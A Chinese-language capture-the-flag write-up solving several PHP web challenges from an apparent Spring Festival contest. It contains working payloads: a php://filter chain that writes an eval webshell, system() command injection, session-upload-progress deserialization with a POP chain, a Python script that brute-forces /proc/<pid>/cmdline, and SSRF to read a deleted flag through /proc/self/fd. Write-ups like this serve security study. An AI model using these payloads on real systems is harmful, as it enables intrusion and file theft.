开局看到源码,但是却没有显示源码的代码。那么只能是被包含进去了,直接phpinfo搜prepend可以看到包含的文件,查看之得到flag。
?f=system("tac etc/ssh/secret/youneverknow/secret.php");
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'.$content);
绕过死亡exit
先写入shell
php://filter/|string.strip_tags|convert.base64-decode/resource=?>PD9waHANCmV2YWwoJF9QT1NUWzFdKTsNCj8%2B/../shell.php
蚁剑连接即可
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>
利用session修改变量
Body
session_id=session_id
Cookie
PHPSESSID=HappyNewYear
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
弱类型比较,布尔值和任意字符串弱相等
1=session_start
1=json_last_error
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "");
die("虎年大吉,新春快乐!");
需要写入一句话木马,那么$key
的值应该为php后缀文件
寻找调用返回php后缀的函数
payload:
1= spl_autoload_extensions
之后进入.inc,.php
1=system("cat /f1ag.txt");
注册并返回 spl_autoload 函数使用的默认文件扩展名
用法:spl_autoload_extensions(string $file_extensions = ?): string
当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的 spl_autoload 函数使用的扩展名是 “.inc,.php”。
error_reporting(0);
highlight_file(__FILE__);
include ".php";
file_put_contents("", $flag);
$ = str_replace("hu", "", $_POST['']);
file_put_contents("", $);
发送超长字符致使php内存溢出,发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入。
<?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];
function filter($img){
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION['function'] = $function;
extract($_POST['GET']);
$_SESSION['file'] = base64_encode("/root/flag");
$serialize_info = filter(serialize($_SESSION));
if($function == 'GET'){
$userinfo = unserialize($serialize_info);
//出题人已经拿过flag,题目正常,也就是说...
echo file_get_contents(base64_decode($userinfo['file']));
}
代码审计
implode() 函数返回由数组元素组合成的字符串。
我们知道最终应该通过file_get_contents来读文件
满足$function == 'GET'
?POST=GET
发现web服务器是nginx,注释提示出题人已经拿过flag,接下来我们可以尝试读取nginx日志文件/var/log/nginx/access.log
。
构造反序列化数组
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
此时:
$serialize_info为:
a:2:{s:12:"";s:70:"s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
$userinfo 为:
array(2) {
'";s:70:"s:1:' =>
string(1) "1"
'file' =>
string(36) "L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw=="
}
由此可读
再读http://127.0.0.1/ctfshow
即可
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:32:"aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93";}
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
读一下class.php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";
}
function __destruct(){
$this->happy->happy;
}
public function __call($funName, $arguments){
die($this->happy->$funName);
}
public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";
}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}
public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;
}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}
}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";
}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();
}
public function __set($key,$value)#3
{
$this->$key = $value;
}
public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}
}
?>
这里有一个ini_set("session.serialize_handler", "php");
很容易想到session反序列化,查看phpinfo
session.serialize_handler
的Local Value是php,Master Value是php_serialize,session.upload_progress.cleanup=Off
session.upload_progress.enabled
为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量,当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据,即就可以将filename的值赋值到session中。所以可以通过Session Upload Progress
来设置session。
如果在PHP在反序列化存储的$_SESSION
数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。
既然如此,我们就开始找链子:
最终肯定是通过Year::show()
来读文件
Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()
exp:
class Happy {
public $happy;
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}
$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
echo serialize($a);
?>
构造上传表单
<form action="http://32c5b7fa-ed9f-46f9-9c1d-28d49508feb7.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" />
<input type="file" name="file" />
<input type="submit" />
form>
得到的序列化字符串将双引号转义,再在前面加一个|
,这是session格式
|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}
利用该表单随便上传一个文件,抓包,修改filename如上
由此可以得到文件读取漏洞
/proc/{pid}/cmdline
是所有用户均可读的,可以编写脚本爆一下进程id的cmdline
import requests
import time
def get_file(filename):
data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain
------WebKitFormBoundarytyYa582A3zCNLMeL--"""
r=requests.post(url='http://32c5b7fa-ed9f-46f9-9c1d-28d49508feb7.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=917571d70a5c49843a1625b52880d774'})
return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00
for i in range(999):
print(i)
print(get_file('/proc/'+str(i)+'/cmdline'))
time.sleep(0.2)
可以查看到114进程开了一个 python3 /app/server.py
,读取
from flask import *
import os
app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag我删了,你们别找了"
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
可以发现flag文件被删掉了,flask在5000起了一个server,还有一个任意文件读取的路径:/download/
但是flag是在open之后被删的,而且还没有释放,所以可以在/proc/self/fd/
下面找到,
file_get_contents()是可以读http协议的资源的,于是读取 "http://127.0.0.1:5000/download/?filename=/proc/self/fd/3"
即可得到flag
0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试。
参考文章:
带你走进PHP session反序列化漏洞
https://bbs.ctf.show/thread/83